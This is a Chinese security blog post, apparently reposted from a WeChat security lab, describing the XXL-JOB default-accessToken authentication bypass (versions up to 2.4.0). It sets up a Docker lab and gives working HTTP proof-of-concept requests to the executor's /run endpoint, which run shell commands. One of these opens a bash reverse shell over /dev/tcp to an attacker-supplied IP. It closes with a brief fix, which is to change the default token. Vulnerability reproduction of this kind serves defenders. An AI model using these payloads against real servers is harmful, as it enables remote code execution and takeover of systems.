XXL-JOB默认accessToken身份认证绕过

admin 2024年7月9日08:26:32评论7 views字数 2453阅读8分10秒阅读模式

0x01 简介

XXL-JOB 是一款开源的分布式任务调度平台,用于实现大规模任务的调度和执行。

0x02 漏洞概述

XXL-JOB 默认配置下,用于调度通讯的 accessToken 不是随机生成的,而是使用 application.properties 配置文件中的默认值。在实际使用中如果没有修改默认值,攻击者可利用此绕过认证调用 executor,执行任意代码,从而获取服务器权限。

0x03 影响版本

XXL-JOB <= 2.4.0

0x04 环境搭建

Docker方式构建

1.拉取镜像

docker pull xuxueli/xxl-job-admin:2.4.0

XXL-JOB默认accessToken身份认证绕过

2.创建数据库

docker pull mysql

docker run -d --name mysql -e MYSQL_ROOT_PASSWORD=root -p 13306:13306 mysql

XXL-JOB默认accessToken身份认证绕过

3.用navicat连接数据库并运行xxl-job.sql文件

xxl-job.sql下载地址:https://github.com/xuxueli/xxl-job/tree/master/doc/db

XXL-JOB默认accessToken身份认证绕过

打开navicat连接数据库,新建一个名称叫xxl-job名称的数据库,进入该xxl-job名称数据库,并执行xxl-job.sql文件

4.创建xxl-job容器并启动

docker run --privileged=true -e PARAMS="--spring.datasource.username=root --spring.datasource.password=123456 --spring.datasource.url=jdbc:mysql://yourip:13306/xxl_job?useUnicode=true&characterEncoding=UTF-8&autoReconnect=true&serverTimezone=Asia/Shanghai" -p 8080:8080 -v /home/xxl-job/logs:/data/applogs --name xxl-job-admin -d xuxueli/xxl-job-admin:2.4.0
XXL-JOB默认accessToken身份认证绕过

访问http://yourip:8080/xxl-job-admin/toLogin

XXL-JOB默认accessToken身份认证绕过

执行器搭建

1.下载Source并编译成jar包

https://github.com/xuxueli/xxl-job

使用idea或maven编译

XXL-JOB默认accessToken身份认证绕过

2.下载application.properties并根据实际情况修改

wget https://github.com/xuxueli/xxl-job/raw/2.4.0/xxl-job-executor-samples/xxl-job-executor-sample-springboot/src/main/resources/application.properties

XXL-JOB默认accessToken身份认证绕过

3.运行

nohup java -jar ./xxl-job-executor-sample-springboot.jar --spring.config.location=./application.properties &

4.验证

执行器中管理中对应节点已经自动注册

XXL-JOB默认accessToken身份认证绕过

0x05 漏洞复现

POC:

POST /run HTTP/1.1
Host: 
XXL-JOB-ACCESS-TOKEN: default_token
Content-Length: 326
 
{
"jobId":1,
"executorHandler":"demoJobHandler",
"executorParams":"demoJobHandler",
"executorBlockStrategy":"COVER_EARLY",
"executorTimeout":0,
"logId":1,
"logDateTime":1710864010,
"glueType":"GLUE_SHELL",
"glueSource":"ping xxxx.dnslog.cn",
"glueUpdatetime":1710864010,
"broadcastIndex":0,
"broadcastTotal":0
}

DNSLog

XXL-JOB默认accessToken身份认证绕过
XXL-JOB默认accessToken身份认证绕过

Getshell

POC:

POST /run HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/111.0
Accept-Encoding: gzip, deflate, br
Accept: */*
Connection: close
Host: 
Content-Type: application/json
XXL-JOB-ACCESS-TOKEN: default_token
Upgrade-Insecure-Requests: 1
Content-Length: 375


{
"jobId": 2,
"executorHandler""demoJobHandler",
"executorParams""demoJobHandler",
"executorBlockStrategy""SERIAL_EXECUTION",
"executorTimeout": 0,
"logId": 1,
"logDateTime": 1586373637819,
"glueType""GLUE_SHELL",
"glueSource""bash -i >& /dev/tcp/ip/4444 0>&1",
"glueUpdatetime": 1586693836766,
"broadcastIndex": 0,
"broadcastTotal": 0
}
XXL-JOB默认accessToken身份认证绕过
XXL-JOB默认accessToken身份认证绕过

0x06 修复方式

修改调度中心和执行器配置项 xxl.job.accessToken 的默认值,注意要设置相同的值。

原文始发于微信公众号(合天网安实验室):XXL-JOB默认accessToken身份认证绕过

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年7月9日08:26:32
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   XXL-JOB默认accessToken身份认证绕过https://cn-sec.com/archives/2931915.html

发表评论

匿名网友 填写信息